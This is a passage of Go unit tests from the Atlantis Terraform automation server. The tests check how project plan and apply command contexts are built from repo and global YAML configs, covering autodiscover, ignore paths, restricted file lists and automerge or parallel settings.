NewDefaultWorkingDirLocker(), globalCfg, &DefaultPendingPlanFinder{}, &CommentParser{ExecutableName: "atlantis"}, false, false, false, false, false, "", "**/*.tf,**/*.tfvars,**/*.tfvars.json,**/terragrunt.hcl,**/.terraform.lock.hcl", false, false, false, "auto", statsScope, terraformClient, ) cmd := command.PolicyCheck t.Run(cmd.String(), func(t *testing.T) { ctxs, err := builder.buildProjectCommandCtx(&command.Context{ Log: logger, Scope: statsScope, Pull: models.PullRequest{ BaseRepo: baseRepo, }, PullRequestStatus: models.PullReqStatus{ MergeableStatus: models.MergeableStatus{IsMergeable: true}, }, }, command.Plan, "", "", []string{"flag"}, tmp, "project1", "myworkspace", true) if c.expErr != "" { ErrEquals(t, c.expErr, err) return } Ok(t, err) ctx := ctxs[1] // Construct expected steps. var stepNames []string var expSteps []valid.Step stepNames = c.expPolicyCheckSteps for _, stepName := range stepNames { expSteps = append(expSteps, valid.Step{ StepName: stepName, }) } c.expCtx.CommandName = cmd // Init fields we couldn't in our cases map. c.expCtx.Steps = expSteps ctx.PolicySets = emptyPolicySets // Job ID cannot be compared since its generated at random ctx.JobID = "" Equals(t, c.expCtx, ctx) // Equals() doesn't compare TF version properly so have to // use .String(). if c.expCtx.TerraformVersion != nil { Equals(t, c.expCtx.TerraformVersion.String(), ctx.TerraformVersion.String()) } }) }) } } func TestBuildProjectCmdCtx_WithSilenceNoProjects(t *testing.T) { globalCfg := ` repos: - id: /.*/ ` logger := logging.NewNoopLogger(t) baseRepo := models.Repo{ FullName: "owner/repo", VCSHost: models.VCSHost{ Hostname: "github.com", }, } cases := map[string]struct { repoCfg string expLen int }{ // One project matches the repo cfg, return it "matching project": { repoCfg: ` version: 3 automerge: true projects: - dir: project1 workspace: myworkspace `, expLen: 1, }, // No project matches the repo cfg, ignore it "no matching project": { repoCfg: ` version: 3 automerge: true projects: - dir: project2 workspace: myworkspace `, expLen: 0, }, } for name, c := range cases { t.Run(name, func(t *testing.T) { tmp := DirStructure(t, map[string]any{ "project1": map[string]any{ "main.tf": nil, }, "modules": map[string]any{ "module": map[string]any{ "main.tf": nil, }, }, }) workingDir := NewMockWorkingDir() When(workingDir.Clone(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](), Any[string]())).ThenReturn(tmp, nil) vcsClient := vcsmocks.NewMockClient() When(vcsClient.GetModifiedFiles(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest]())).ThenReturn([]string{"modules/module/main.tf"}, nil) // Write and parse the global config file. globalCfgPath := filepath.Join(tmp, "global.yaml") Ok(t, os.WriteFile(globalCfgPath, []byte(globalCfg), 0600)) parser := &config.ParserValidator{} globalCfgArgs := valid.GlobalCfgArgs{} globalCfg, err := parser.ParseGlobalCfg(globalCfgPath, valid.NewGlobalCfgFromArgs(globalCfgArgs)) Ok(t, err) if c.repoCfg != "" { Ok(t, os.WriteFile(filepath.Join(tmp, "atlantis.yaml"), []byte(c.repoCfg), 0600)) } statsScope := metricstest.NewLoggingScope(t, logging.NewNoopLogger(t), "atlantis") terraformClient := tfclientmocks.NewMockClient() builder := NewProjectCommandBuilder( false, parser, &DefaultProjectFinder{}, vcsClient, workingDir, NewDefaultWorkingDirLocker(), globalCfg, &DefaultPendingPlanFinder{}, &CommentParser{ExecutableName: "atlantis"}, false, false, false, false, false, "", "**/*.tf,**/*.tfvars,**/*.tfvars.json,**/terragrunt.hcl,**/.terraform.lock.hcl", false, true, false, "auto", statsScope, terraformClient, ) for _, cmd := range []command.Name{command.Plan, command.Apply} { t.Run(cmd.String(), func(t *testing.T) { ctxs, err := builder.buildProjectCommandCtx(&command.Context{ Log: logger, Scope: statsScope, Pull: models.PullRequest{ BaseRepo: baseRepo, }, PullRequestStatus: models.PullReqStatus{ MergeableStatus: models.MergeableStatus{IsMergeable: true}, }, }, cmd, "", "", []string{}, tmp, "project1", "myworkspace", true) Equals(t, c.expLen, len(ctxs)) Ok(t, err) }) } }) } } func TestBuildProjectCmdCtx_AutoDiscoverRespectsRepoConfig(t *testing.T) { logger := logging.NewNoopLogger(t) cases := map[string]struct { globalCfg string repoCfg string modifiedFiles []string expLen int }{ "autodiscover disabled": { globalCfg: ` repos: - id: /.*/ autodiscover: mode: disabled `, repoCfg: ` version: 3 automerge: true `, modifiedFiles: []string{"project1/main.tf", "project2/main.tf", "project3/main.tf"}, expLen: 0, }, "autodiscover auto": { globalCfg: ` repos: - id: /.*/ autodiscover: mode: auto `, repoCfg: ` version: 3 automerge: true projects: - dir: project1 workspace: myworkspace `, modifiedFiles: []string{"project1/main.tf", "project2/main.tf", "project3/main.tf"}, expLen: 1, }, "autodiscover enabled": { globalCfg: ` repos: - id: /.*/ autodiscover: mode: enabled `, repoCfg: ` version: 3 automerge: true projects: - dir: project1 workspace: myworkspace `, modifiedFiles: []string{"project1/main.tf", "project2/main.tf", "project3/main.tf"}, expLen: 3, }, "autodiscover enabled, disabled at repo level": { globalCfg: ` repos: - id: /.*/ autodiscover: mode: enabled `, repoCfg: ` version: 3 automerge: true projects: - dir: project1 workspace: myworkspace autodiscover: mode: disabled `, modifiedFiles: []string{"project1/main.tf", "project2/main.tf", "project3/main.tf"}, expLen: 1, }, "autodiscover respects ignore_paths in repo config": { globalCfg: ` repos: - id: /.*/ `, repoCfg: ` version: 3 automerge: true projects: - dir: project1 workspace: myworkspace autodiscover: mode: enabled ignore_paths: - project3 `, modifiedFiles: []string{"project1/main.tf", "project2/main.tf", "project3/main.tf"}, expLen: 2, }, "autodiscover respects ignore_paths in global config": { globalCfg: ` repos: - id: /.*/ autodiscover: mode: enabled ignore_paths: - project3 `, repoCfg: ` version: 3 automerge: true projects: - dir: project1 workspace: myworkspace `, modifiedFiles: []string{"project1/main.tf", "project2/main.tf", "project3/main.tf"}, expLen: 2, }, "autodiscover skips ignore_paths in repo when configured in global": { globalCfg: ` repos: - id: /.*/ autodiscover: mode: enabled ignore_paths: - project[0-9] `, repoCfg: ` version: 3 automerge: true projects: - dir: project1 workspace: myworkspace autodiscover: mode: enabled ignore_paths: - project3 `, modifiedFiles: []string{"project1/main.tf", "project2/main.tf", "project3/main.tf"}, expLen: 1, }, } for name, c := range cases { t.Run(name, func(t *testing.T) { tmp := DirStructure(t, map[string]any{ "project1": map[string]any{ "main.tf": nil, }, "project2": map[string]any{ "main.tf": nil, }, "project3": map[string]any{ "main.tf": nil, }, }) workingDir := NewMockWorkingDir() When(workingDir.Clone(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](), Any[string]())).ThenReturn(tmp, nil) vcsClient := vcsmocks.NewMockClient() When(vcsClient.GetModifiedFiles(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest]())).ThenReturn(c.modifiedFiles, nil) // Write and parse the global config file. globalCfgPath := filepath.Join(tmp, "global.yaml") Ok(t, os.WriteFile(globalCfgPath, []byte(c.globalCfg), 0600)) parser := &config.ParserValidator{} globalCfgArgs := valid.GlobalCfgArgs{ AllowAllRepoSettings: false, } globalCfg, err := parser.ParseGlobalCfg(globalCfgPath, valid.NewGlobalCfgFromArgs(globalCfgArgs)) Ok(t, err) if c.repoCfg != "" { Ok(t, os.WriteFile(filepath.Join(tmp, "atlantis.yaml"), []byte(c.repoCfg), 0600)) } statsScope := metricstest.NewLoggingScope(t, logging.NewNoopLogger(t), "atlantis") terraformClient := tfclientmocks.NewMockClient() builder := NewProjectCommandBuilder( false, parser, &DefaultProjectFinder{}, vcsClient, workingDir, NewDefaultWorkingDirLocker(), globalCfg, &DefaultPendingPlanFinder{}, &CommentParser{ExecutableName: "atlantis"}, false, false, false, false, false, "", "**/*.tf,**/*.tfvars,**/*.tfvars.json,**/terragrunt.hcl,**/.terraform.lock.hcl", false, true, false, "auto", statsScope, terraformClient, ) ctxs, err := builder.BuildPlanCommands( &command.Context{ Log: logger, Scope: statsScope, }, &CommentCommand{ RepoRelDir: "", Flags: nil, Name: command.Plan, Verbose: false, }, ) Equals(t, c.expLen, len(ctxs)) Ok(t, err) }) } } func mustVersion(v string) *version.Version { vers, err := version.NewVersion(v) if err != nil { panic(err) } return vers } ================================================ FILE: server/events/project_command_builder_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package events_test import ( "os" "path/filepath" "sort" "strings" "testing" "github.com/hashicorp/go-version" . "github.com/petergtz/pegomock/v4" tfclientmocks "github.com/runatlantis/atlantis/server/core/terraform/tfclient/mocks" "github.com/runatlantis/atlantis/server/metrics/metricstest" "github.com/runatlantis/atlantis/server/core/config" "github.com/runatlantis/atlantis/server/core/config/valid" "github.com/runatlantis/atlantis/server/events" "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/mocks" "github.com/runatlantis/atlantis/server/events/models" vcsmocks "github.com/runatlantis/atlantis/server/events/vcs/mocks" "github.com/runatlantis/atlantis/server/logging" . "github.com/runatlantis/atlantis/testing" ) var defaultUserConfig = struct { SkipCloneNoChanges bool EnableRegExpCmd bool EnableAutoMerge bool EnableParallelPlan bool EnableParallelApply bool AutoDetectModuleFiles string AutoplanFileList string RestrictFileList bool SilenceNoProjects bool IncludeGitUntrackedFiles bool AutoDiscoverMode string }{ SkipCloneNoChanges: false, EnableRegExpCmd: false, EnableAutoMerge: false, EnableParallelPlan: false, EnableParallelApply: false, AutoDetectModuleFiles: "", AutoplanFileList: "**/*.tf,**/*.tfvars,**/*.tfvars.json,**/terragrunt.hcl,**/.terraform.lock.hcl", RestrictFileList: false, SilenceNoProjects: false, IncludeGitUntrackedFiles: false, AutoDiscoverMode: "auto", } func ChangedFiles(dirStructure map[string]any, parent string) []string { var files []string for k, v := range dirStructure { switch v := v.(type) { case map[string]any: files = append(files, ChangedFiles(v, k)...) default: files = append(files, filepath.Join(parent, k)) } } return files } func TestDefaultProjectCommandBuilder_BuildAutoplanCommands(t *testing.T) { // expCtxFields define the ctx fields we're going to assert on. // Since we're focused on autoplanning here, we don't validate all the // fields so the tests are more obvious and targeted. type expCtxFields struct { ProjectName string RepoRelDir string Workspace string } defaultTestDirStructure := map[string]any{ "main.tf": nil, } cases := []struct { Description string AtlantisYAML string ServerSideYAML string TestDirStructure map[string]any exp []expCtxFields }{ { Description: "simple atlantis.yaml", AtlantisYAML: ` version: 3 projects: - dir: . `, TestDirStructure: defaultTestDirStructure, exp: []expCtxFields{ { ProjectName: "", RepoRelDir: ".", Workspace: "default", }, }, }, { Description: "some projects disabled", AtlantisYAML: ` version: 3 projects: - dir: . autoplan: enabled: false - dir: . workspace: myworkspace autoplan: when_modified: ["main.tf"] - dir: . name: myname workspace: myworkspace2 `, TestDirStructure: defaultTestDirStructure, exp: []expCtxFields{ { ProjectName: "", RepoRelDir: ".", Workspace: "myworkspace", }, { ProjectName: "myname", RepoRelDir: ".", Workspace: "myworkspace2", }, }, }, { Description: "some projects disabled", AtlantisYAML: ` version: 3 projects: - dir: . autoplan: enabled: false - dir: . workspace: myworkspace autoplan: when_modified: ["main.tf"] - dir: . workspace: myworkspace2 `, TestDirStructure: defaultTestDirStructure, exp: []expCtxFields{ { ProjectName: "", RepoRelDir: ".", Workspace: "myworkspace", }, { ProjectName: "", RepoRelDir: ".", Workspace: "myworkspace2", }, }, }, { Description: "no projects modified", AtlantisYAML: ` version: 3 projects: - dir: mydir `, TestDirStructure: defaultTestDirStructure, exp: nil, }, { Description: "workspaces from subdirectories detected", TestDirStructure: map[string]any{ "work": map[string]any{ "main.tf": ` terraform { cloud { organization = "atlantis-test" workspaces { name = "test-workspace1" } } }`, }, "test": map[string]any{ "main.tf": ` terraform { cloud { organization = "atlantis-test" workspaces { name = "test-workspace12" } } }`, }, }, exp: []expCtxFields{ { ProjectName: "", RepoRelDir: "test", Workspace: "test-workspace12", }, { ProjectName: "", RepoRelDir: "work", Workspace: "test-workspace1", }, }, }, { Description: "workspaces in parent directory are detected", TestDirStructure: map[string]any{ "main.tf": ` terraform { cloud { organization = "atlantis-test" workspaces { name = "test-workspace" } } }`, }, exp: []expCtxFields{ { ProjectName: "", RepoRelDir: ".", Workspace: "test-workspace", }, }, }, } logger := logging.NewNoopLogger(t) scope := metricstest.NewLoggingScope(t, logger, "atlantis") userConfig := defaultUserConfig terraformClient := tfclientmocks.NewMockClient() for _, c := range cases { t.Run(c.Description, func(t *testing.T) { RegisterMockTestingT(t) tmpDir := DirStructure(t, c.TestDirStructure) workingDir := mocks.NewMockWorkingDir() When(workingDir.Clone(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](), Any[string]())).ThenReturn(tmpDir, nil) vcsClient := vcsmocks.NewMockClient() When(vcsClient.GetModifiedFiles(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest]())).ThenReturn(ChangedFiles(c.TestDirStructure, ""), nil) if c.AtlantisYAML != "" { err := os.WriteFile(filepath.Join(tmpDir, valid.DefaultAtlantisFile), []byte(c.AtlantisYAML), 0600) Ok(t, err) } globalCfgArgs := valid.GlobalCfgArgs{} builder := events.NewProjectCommandBuilder( false, &config.ParserValidator{}, &events.DefaultProjectFinder{}, vcsClient, workingDir, events.NewDefaultWorkingDirLocker(), valid.NewGlobalCfgFromArgs(globalCfgArgs), &events.DefaultPendingPlanFinder{}, &events.CommentParser{ExecutableName: "atlantis"}, userConfig.SkipCloneNoChanges, userConfig.EnableRegExpCmd, userConfig.EnableAutoMerge, userConfig.EnableParallelPlan, userConfig.EnableParallelApply, userConfig.AutoDetectModuleFiles, userConfig.AutoplanFileList, userConfig.RestrictFileList, userConfig.SilenceNoProjects, userConfig.IncludeGitUntrackedFiles, userConfig.AutoDiscoverMode, scope, terraformClient, ) ctxs, err := builder.BuildAutoplanCommands(&command.Context{ PullRequestStatus: models.PullReqStatus{ MergeableStatus: models.MergeableStatus{IsMergeable: true}, }, Log: logger, Scope: scope, }) Ok(t, err) Equals(t, len(c.exp), len(ctxs)) // Sort so comparisons are deterministic sort.Slice(ctxs, func(i, j int) bool { if ctxs[i].ProjectName != ctxs[j].ProjectName { return ctxs[i].ProjectName < ctxs[j].ProjectName } if ctxs[i].RepoRelDir != ctxs[j].RepoRelDir { return ctxs[i].RepoRelDir < ctxs[j].RepoRelDir } return ctxs[i].Workspace < ctxs[j].Workspace }) for i, actCtx := range ctxs { expCtx := c.exp[i] Equals(t, expCtx.ProjectName, actCtx.ProjectName) Equals(t, expCtx.RepoRelDir, actCtx.RepoRelDir) Equals(t, expCtx.Workspace, actCtx.Workspace) } }) } } // Test building a plan and apply command for one project. func TestDefaultProjectCommandBuilder_BuildSinglePlanApplyCommand(t *testing.T) { cases := []struct { Description string AtlantisYAML string Cmd events.CommentCommand Silenced bool ExpCommentArgs []string ExpWorkspace string ExpDir string ExpProjectName string ExpErr string ExpApplyReqs []string EnableAutoMergeUserCfg bool AutoDiscoverModeUserCfg string EnableParallelPlanUserCfg bool EnableParallelApplyUserCfg bool ExpAutoMerge bool ExpParallelPlan bool ExpParallelApply bool ExpNoProjects bool }{ { Description: "no atlantis.yaml", Cmd: events.CommentCommand{ RepoRelDir: ".", Flags: []string{"commentarg"}, Name: command.Plan, Workspace: "myworkspace", }, AtlantisYAML: "", ExpCommentArgs: []string{`\c\o\m\m\e\n\t\a\r\g`}, ExpWorkspace: "myworkspace", ExpDir: ".", ExpApplyReqs: []string{}, }, { Description: "no atlantis.yaml with project flag", Cmd: events.CommentCommand{ RepoRelDir: ".", Name: command.Plan, ProjectName: "myproject", }, AtlantisYAML: "", ExpErr: "cannot specify a project name unless an atlantis.yaml file exists to configure projects", }, { Description: "simple atlantis.yaml", Cmd: events.CommentCommand{ RepoRelDir: ".", Name: command.Plan, Workspace: "myworkspace", }, AtlantisYAML: ` version: 3 projects: - dir: . workspace: myworkspace apply_requirements: [approved]`, ExpApplyReqs: []string{"approved"}, ExpWorkspace: "myworkspace", ExpDir: ".", }, { Description: "atlantis.yaml wrong dir", Cmd: events.CommentCommand{ RepoRelDir: ".", Name: command.Plan, Workspace: "myworkspace", }, AtlantisYAML: ` version: 3 projects: - dir: notroot workspace: myworkspace apply_requirements: [approved]`, ExpWorkspace: "myworkspace", ExpDir: ".", ExpApplyReqs: []string{}, }, { Description: "atlantis.yaml wrong workspace", Cmd: events.CommentCommand{ RepoRelDir: ".", Name: command.Plan, Workspace: "myworkspace", }, AtlantisYAML: ` version: 3 projects: - dir: . workspace: notmyworkspace apply_requirements: [approved]`, ExpErr: "running commands in workspace \"myworkspace\" is not allowed because this directory is only configured for the following workspaces: notmyworkspace", }, { Description: "atlantis.yaml with projectname", Cmd: events.CommentCommand{ Name: command.Plan, ProjectName: "myproject", }, AtlantisYAML: ` version: 3 projects: - name: myproject dir: . workspace: myworkspace apply_requirements: [approved]`, ExpApplyReqs: []string{"approved"}, ExpProjectName: "myproject", ExpWorkspace: "myworkspace", ExpDir: ".", }, { Description: "atlantis.yaml with mergeable apply requirement", Cmd: events.CommentCommand{ Name: command.Plan, ProjectName: "myproject", }, AtlantisYAML: ` version: 3 projects: - name: myproject dir: . workspace: myworkspace apply_requirements: [mergeable]`, ExpApplyReqs: []string{"mergeable"}, ExpProjectName: "myproject", ExpWorkspace: "myworkspace", ExpDir: ".", }, { Description: "atlantis.yaml with mergeable and approved apply requirements", Cmd: events.CommentCommand{ Name: command.Plan, ProjectName: "myproject", }, AtlantisYAML: ` version: 3 projects: - name: myproject dir: . workspace: myworkspace apply_requirements: [mergeable, approved]`, ExpApplyReqs: []string{"mergeable", "approved"}, ExpProjectName: "myproject", ExpWorkspace: "myworkspace", ExpDir: ".", }, { Description: "atlantis.yaml with multiple dir/workspaces matching", Cmd: events.CommentCommand{ Name: command.Plan, RepoRelDir: ".", Workspace: "myworkspace", }, AtlantisYAML: ` version: 3 projects: - name: myproject dir: . workspace: myworkspace apply_requirements: [approved] - name: myproject2 dir: . workspace: myworkspace `, ExpErr: "must specify project name: more than one project defined in 'atlantis.yaml' matched dir: '.' workspace: 'myworkspace'", }, { Description: "atlantis.yaml with project flag not matching", Cmd: events.CommentCommand{ Name: command.Plan, RepoRelDir: ".", Workspace: "default", ProjectName: "notconfigured", }, AtlantisYAML: ` version: 3 projects: - dir: . `, ExpErr: "no project with name 'notconfigured' is defined in 'atlantis.yaml'", }, { Description: "atlantis.yaml with project flag not matching but silenced", Cmd: events.CommentCommand{ Name: command.Plan, RepoRelDir: ".", Workspace: "default", ProjectName: "notconfigured", }, AtlantisYAML: ` version: 3 projects: - dir: . `, Silenced: true, ExpNoProjects: true, }, { Description: "atlantis.yaml with ParallelPlan Set to true", Cmd: events.CommentCommand{ Name: command.Plan, RepoRelDir: ".", Workspace: "default", ProjectName: "myproject", }, AtlantisYAML: ` version: 3 parallel_plan: true projects: - name: myproject dir: . workspace: myworkspace `, ExpParallelPlan: true, ExpParallelApply: false, ExpDir: ".", ExpWorkspace: "myworkspace", ExpProjectName: "myproject", ExpApplyReqs: []string{}, }, { Description: "atlantis.yaml with ParallelPlan/apply and Automerge not set, but set in user conf", Cmd: events.CommentCommand{ Name: command.Plan, RepoRelDir: ".", Workspace: "default", ProjectName: "myproject", }, AtlantisYAML: ` version: 3 projects: - name: myproject dir: . workspace: myworkspace `, EnableAutoMergeUserCfg: true, EnableParallelPlanUserCfg: true, EnableParallelApplyUserCfg: true, ExpAutoMerge: true, ExpParallelPlan: true, ExpParallelApply: true, ExpDir: ".", ExpWorkspace: "myworkspace", ExpProjectName: "myproject", ExpApplyReqs: []string{}, }, { Description: "atlantis.yaml with ParallelPlan/apply and Automerge set to false, but set to true in user conf", Cmd: events.CommentCommand{ Name: command.Plan, RepoRelDir: ".", Workspace: "default", ProjectName: "myproject", }, AtlantisYAML: ` version: 3 automerge: false parallel_plan: false parallel_apply: false projects: - name: myproject dir: . workspace: myworkspace `, EnableAutoMergeUserCfg: true, EnableParallelPlanUserCfg: true, EnableParallelApplyUserCfg: true, ExpAutoMerge: false, ExpParallelPlan: false, ExpParallelApply: false, ExpDir: ".", ExpWorkspace: "myworkspace", ExpProjectName: "myproject", ExpApplyReqs: []string{}, }, } logger := logging.NewNoopLogger(t) scope := metricstest.NewLoggingScope(t, logger, "atlantis") userConfig := defaultUserConfig for _, c := range cases { // NOTE: we're testing both plan and apply here. for _, cmdName := range []command.Name{command.Plan, command.Apply} { t.Run(c.Description+"_"+cmdName.String(), func(t *testing.T) { RegisterMockTestingT(t) tmpDir := DirStructure(t, map[string]any{ "main.tf": nil, }) workingDir := mocks.NewMockWorkingDir() When(workingDir.Clone(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](), Any[string]())).ThenReturn(tmpDir, nil) When(workingDir.GetWorkingDir(Any[models.Repo](), Any[models.PullRequest](), Any[string]())).ThenReturn(tmpDir, nil) vcsClient := vcsmocks.NewMockClient() When(vcsClient.GetModifiedFiles(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest]())).ThenReturn([]string{"main.tf"}, nil) if c.AtlantisYAML != "" { err := os.WriteFile(filepath.Join(tmpDir, valid.DefaultAtlantisFile), []byte(c.AtlantisYAML), 0600) Ok(t, err) } globalCfgArgs := valid.GlobalCfgArgs{ AllowAllRepoSettings: true, } terraformClient := tfclientmocks.NewMockClient() builder := events.NewProjectCommandBuilder( false, &config.ParserValidator{}, &events.DefaultProjectFinder{}, vcsClient, workingDir, events.NewDefaultWorkingDirLocker(), valid.NewGlobalCfgFromArgs(globalCfgArgs), &events.DefaultPendingPlanFinder{}, &events.CommentParser{ExecutableName: "atlantis"}, userConfig.SkipCloneNoChanges, userConfig.EnableRegExpCmd, c.EnableAutoMergeUserCfg, c.EnableParallelPlanUserCfg, c.EnableParallelApplyUserCfg, userConfig.AutoDetectModuleFiles, userConfig.AutoplanFileList, userConfig.RestrictFileList, c.Silenced, userConfig.IncludeGitUntrackedFiles, c.AutoDiscoverModeUserCfg, scope, terraformClient, ) var actCtxs []command.ProjectContext var err error cmd := c.Cmd if cmdName == command.Plan { actCtxs, err = builder.BuildPlanCommands(&command.Context{ Log: logger, Scope: scope, }, &cmd) } else { actCtxs, err = builder.BuildApplyCommands(&command.Context{Log: logger, Scope: scope}, &cmd) } if c.ExpErr != "" { ErrEquals(t, c.ExpErr, err) return } Ok(t, err) if c.ExpNoProjects { Equals(t, 0, len(actCtxs)) return } Equals(t, 1, len(actCtxs)) actCtx := actCtxs[0] Equals(t, c.ExpDir, actCtx.RepoRelDir) Equals(t, c.ExpWorkspace, actCtx.Workspace) Equals(t, c.ExpCommentArgs, actCtx.EscapedCommentArgs) Equals(t, c.ExpProjectName, actCtx.ProjectName) Equals(t, c.ExpApplyReqs, actCtx.ApplyRequirements) Equals(t, c.ExpAutoMerge, actCtx.AutomergeEnabled) Equals(t, c.ExpParallelPlan, actCtx.ParallelPlanEnabled) Equals(t, c.ExpParallelApply, actCtx.ParallelApplyEnabled) }) } } } // Test building a plan and apply command for one project // with the RestrictFileList func TestDefaultProjectCommandBuilder_BuildSinglePlanApplyCommand_WithRestrictFileList(t *testing.T) { cases := []struct { Description string AtlantisYAML string DirectoryStructure map[string]any ModifiedFiles []string Cmd events.CommentCommand ExpErr string }{ { Description: "planning a file outside of the changed files", Cmd: events.CommentCommand{ Name: command.Plan, RepoRelDir: "directory-1", Workspace: "default", }, DirectoryStructure: map[string]any{ "directory-1": map[string]any{ "main.tf": nil, }, "directory-2": map[string]any{ "main.tf": nil, }, }, ModifiedFiles: []string{"directory-2/main.tf"}, ExpErr: "the dir \"directory-1\" is not in the plan list of this pull request", }, { Description: "planning a file of the changed files", Cmd: events.CommentCommand{ Name: command.Plan, RepoRelDir: "directory-1", Workspace: "default", }, DirectoryStructure: map[string]any{ "directory-1": map[string]any{ "main.tf": nil, }, "directory-2": map[string]any{ "main.tf": nil, }, }, ModifiedFiles: []string{"directory-1/main.tf"}, }, { Description: "planning a project outside of the requested changed files", Cmd: events.CommentCommand{ Name: command.Plan, Workspace: "default", ProjectName: "project-1", }, AtlantisYAML: ` version: 3 projects: - name: project-1 dir: directory-1 - name: project-2 dir: directory-2 `, DirectoryStructure: map[string]any{ "directory-1": map[string]any{ "main.tf": nil, }, "directory-2": map[string]any{ "main.tf": nil, }, }, ModifiedFiles: []string{"directory-2/main.tf"}, ExpErr: "the following directories are present in the pull request but not in the requested project:\ndirectory-2", }, { Description: "planning a project defined in the requested changed files", Cmd: events.CommentCommand{ Name: command.Plan, Workspace: "default", ProjectName: "project-1", }, AtlantisYAML: ` version: 3 projects: - name: project-1 dir: directory-1 - name: project-2 dir: directory-2 `, DirectoryStructure: map[string]any{ "directory-1": map[string]any{ "main.tf": nil, }, "directory-2": map[string]any{ "main.tf": nil, }, }, ModifiedFiles: []string{"directory-1/main.tf"}, }, } logger := logging.NewNoopLogger(t) scope := metricstest.NewLoggingScope(t, logger, "atlantis") userConfig := defaultUserConfig userConfig.RestrictFileList = true for _, c := range cases { t.Run(c.Description+"_"+command.Plan.String(), func(t *testing.T) { RegisterMockTestingT(t) tmpDir := DirStructure(t, c.DirectoryStructure) workingDir := mocks.NewMockWorkingDir() When(workingDir.Clone(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](), Any[string]())).ThenReturn(tmpDir, nil) When(workingDir.GetWorkingDir(Any[models.Repo](), Any[models.PullRequest](), Any[string]())).ThenReturn(tmpDir, nil) vcsClient := vcsmocks.NewMockClient() When(vcsClient.GetModifiedFiles(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest]())).ThenReturn(c.ModifiedFiles, nil) if c.AtlantisYAML != "" { err := os.WriteFile(filepath.Join(tmpDir, valid.DefaultAtlantisFile), []byte(c.AtlantisYAML), 0600) Ok(t, err) } globalCfgArgs := valid.GlobalCfgArgs{ AllowAllRepoSettings: true, } terraformClient := tfclientmocks.NewMockClient() builder := events.NewProjectCommandBuilder( false, &config.ParserValidator{}, &events.DefaultProjectFinder{}, vcsClient, workingDir, events.NewDefaultWorkingDirLocker(), valid.NewGlobalCfgFromArgs(globalCfgArgs), &events.DefaultPendingPlanFinder{}, &events.CommentParser{ExecutableName: "atlantis"}, userConfig.SkipCloneNoChanges, userConfig.EnableRegExpCmd, userConfig.EnableAutoMerge, userConfig.EnableParallelPlan, userConfig.EnableParallelApply, userConfig.AutoDetectModuleFiles, userConfig.AutoplanFileList, userConfig.RestrictFileList, userConfig.SilenceNoProjects, userConfig.IncludeGitUntrackedFiles, userConfig.AutoDiscoverMode, scope, terraformClient, ) var actCtxs []command.ProjectContext var err error cmd := c.Cmd actCtxs, err = builder.BuildPlanCommands(&command.Context{ Log: logger, Scope: scope, }, &cmd) if c.ExpErr != "" { ErrEquals(t, c.ExpErr, err) return } Ok(t, err) Equals(t, 1, len(actCtxs)) }) } } func TestDefaultProjectCommandBuilder_BuildPlanCommands(t *testing.T) { // expCtxFields define the ctx fields we're going to assert on. // Since we're focused on autoplanning here, we don't validate all the // fields so the tests are more obvious and targeted. type expCtxFields struct { ProjectName string RepoRelDir string Workspace string Automerge bool AutoDiscover valid.AutoDiscover ExpParallelPlan bool ExpParallelApply bool } cases := map[string]struct { AutoMergeUserCfg bool ParallelPlanEnabledUserCfg bool ParallelApplyEnabledUserCfg bool DirStructure map[string]any AtlantisYAML string ModifiedFiles []string Exp []expCtxFields }{ "no atlantis.yaml": { DirStructure: map[string]any{ "project1": map[string]any{ "main.tf": nil, }, "project2": map[string]any{ "main.tf": nil, }, }, ModifiedFiles: []string{"project1/main.tf", "project2/main.tf"}, Exp: []expCtxFields{ { ProjectName: "", RepoRelDir: "project1", Workspace: "default", }, { ProjectName: "", RepoRelDir: "project2", Workspace: "default", }, }, }, "no projects in atlantis.yaml with parallel operations in atlantis.yaml": { DirStructure: map[string]any{ "project1": map[string]any{ "main.tf": nil, }, "project2": map[string]any{ "main.tf": nil, }, }, AtlantisYAML: ` version: 3 automerge: true parallel_plan: true parallel_apply: true `, ModifiedFiles: []string{"project1/main.tf", "project2/main.tf"}, Exp: []expCtxFields{ { ProjectName: "", RepoRelDir: "project1", Workspace: "default", Automerge: true, ExpParallelApply: true, ExpParallelPlan: true, }, { ProjectName: "", RepoRelDir: "project2", Workspace: "default", Automerge: true, ExpParallelApply: true, ExpParallelPlan: true, }, }, }, "no projects in atlantis.yaml with parallel operations and automerge not in atlantis.yaml, but in user conf": { DirStructure: map[string]any{ "project1": map[string]any{ "main.tf": nil, }, "project2": map[string]any{ "main.tf": nil, }, }, AtlantisYAML: ` version: 3 `, AutoMergeUserCfg: true, ParallelPlanEnabledUserCfg: true, ParallelApplyEnabledUserCfg: true, ModifiedFiles: []string{"project1/main.tf", "project2/main.tf"}, Exp: []expCtxFields{ { ProjectName: "", RepoRelDir: "project1", Workspace: "default", Automerge: true, ExpParallelApply: true, ExpParallelPlan: true, }, { ProjectName: "", RepoRelDir: "project2", Workspace: "default", Automerge: true, ExpParallelApply: true, ExpParallelPlan: true, }, }, }, "no projects in atlantis.yaml with parallel operations and automerge set to false in atlantis.yaml and true in user conf": { DirStructure: map[string]any{ "project1": map[string]any{ "main.tf": nil, }, "project2": map[string]any{ "main.tf": nil, }, }, AtlantisYAML: ` version: 3 automerge: false parallel_plan: false parallel_apply: false `, AutoMergeUserCfg: true, ParallelPlanEnabledUserCfg: true, ParallelApplyEnabledUserCfg: true, ModifiedFiles: []string{"project1/main.tf", "project2/main.tf"}, Exp: []expCtxFields{ { ProjectName: "", RepoRelDir: "project1", Workspace: "default", Automerge: false, ExpParallelApply: false, ExpParallelPlan: false, }, { ProjectName: "", RepoRelDir: "project2", Workspace: "default", Automerge: false, ExpParallelApply: false, ExpParallelPlan: false, }, }, }, "no modified files": { DirStructure: map[string]any{ "main.tf": nil, }, ModifiedFiles: []string{}, Exp: []expCtxFields{}, }, "follow when_modified config": { 